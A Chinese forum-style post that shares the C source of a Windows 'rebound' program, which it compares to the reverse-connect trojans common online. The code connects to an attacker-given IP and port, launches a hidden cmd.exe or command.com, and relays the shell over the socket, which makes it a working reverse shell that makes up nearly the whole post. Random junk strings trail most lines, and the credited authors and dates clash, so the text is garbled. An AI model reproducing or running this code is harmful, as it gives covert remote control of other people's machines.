这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 (,h2qP-;ud
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/* ============================== VO0:4{-
Rebound port in Windows NT J9[7AiEd(/
By wind,2006/7
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===============================*/ E:K4k <
#include $9X+dvu*
#include 6.)ug7aF
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#pragma comment(lib,"wsock32.lib") 2K9X (th1
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void OutputShell(); m54>}
SOCKET sClient; #4Z e2T|
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 1b~21n
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void main(int argc,char **argv) @S@VsgQ%3Z
{ hr];!.Fv
WSADATA stWsaData; "OenYiz
int nRet; xqX3uq
SOCKADDR_IN stSaiClient,stSaiServer; 1'o[9-
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if(argc != 3) JN/=x2n.
{ UfX~GC;B
printf("Useage:\n\rRebound DestIP DestPort\n"); zcP=+Y)YA
return; WAxNQfEe
} X<,QSTP
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WSAStartup(MAKEWORD(2,2),&stWsaData); #KiJ{w'
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); BzfR8mD
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stSaiClient.sin_family = AF_INET; $BdwKk
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stSaiClient.sin_port = htons(0); uA#K59E+
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _z#"BN
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) qKD
{ 0''p29
printf("Bind Socket Failed!\n");
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return; Q` u#
} 66&uK|
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stSaiServer.sin_family = AF_INET; W/,bz",v3
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); RxqNgun@
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) N)"8CvQL
{ [_JdV(]$
printf("Connect Error!"); vi}16V84l
return; Ca'BE#q
} 44u)F@)
OutputShell(); Yk|6?e{+)
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void OutputShell() %4Lo Em=U
{ /F;2wT;
char szBuff[1024]; &ww-t..
SECURITY_ATTRIBUTES stSecurityAttributes; xfeE D^?
OSVERSIONINFO stOsversionInfo; W\~ie}D{
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; M)#9Q=<
STARTUPINFO stStartupInfo; qob!AU|
char *szShell; 6-|?ya
PROCESS_INFORMATION stProcessInformation; S
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unsigned long lBytesRead; +#eol~j9N
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 7y=O!?*
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); b#?sx"z
stSecurityAttributes.lpSecurityDescriptor = 0; ``CM7|)>`
stSecurityAttributes.bInheritHandle = TRUE; 7"'RE95
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]R""L<K%HF
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); P*!`AWn
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 4*}&nmW
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2A\b-;4EP
stStartupInfo.wShowWindow = SW_HIDE; q'8*bu_
stStartupInfo.hStdInput = hReadPipe; Rj";?.R*e
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 71@eJQ
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GetVersionEx(&stOsversionInfo); R%szN.cI
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switch(stOsversionInfo.dwPlatformId)
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{ "|X'qKS(H{
case 1: S9!KI)
szShell = "command.com"; ijOp{
break; , ~
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default: O5r8Ghf)
szShell = "cmd.exe"; q%x i>H.:{
break; <OEIG0
} 4,;*sc 6*
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /[_aK0U3
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send(sClient,szMsg,77,0); 9>4 #I3
while(1) lC#wh2B6
{ 9HJYrzf{%
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); oH w!~c7
if(lBytesRead) y>=Y MD
{ 7nT|yL?
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); `+n0a@BVB
send(sClient,szBuff,lBytesRead,0); &j:e<{@
} :O413#8
else / ]8e[t>!f
{ ?TpjU*Cxy
lBytesRead=recv(sClient,szBuff,1024,0); fJr
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if(lBytesRead<=0) break; Cdz?+hb
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 0 8)f
} \H .Cmm^I
} [@9S-$Xa
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return; >s5}pkAv|e
}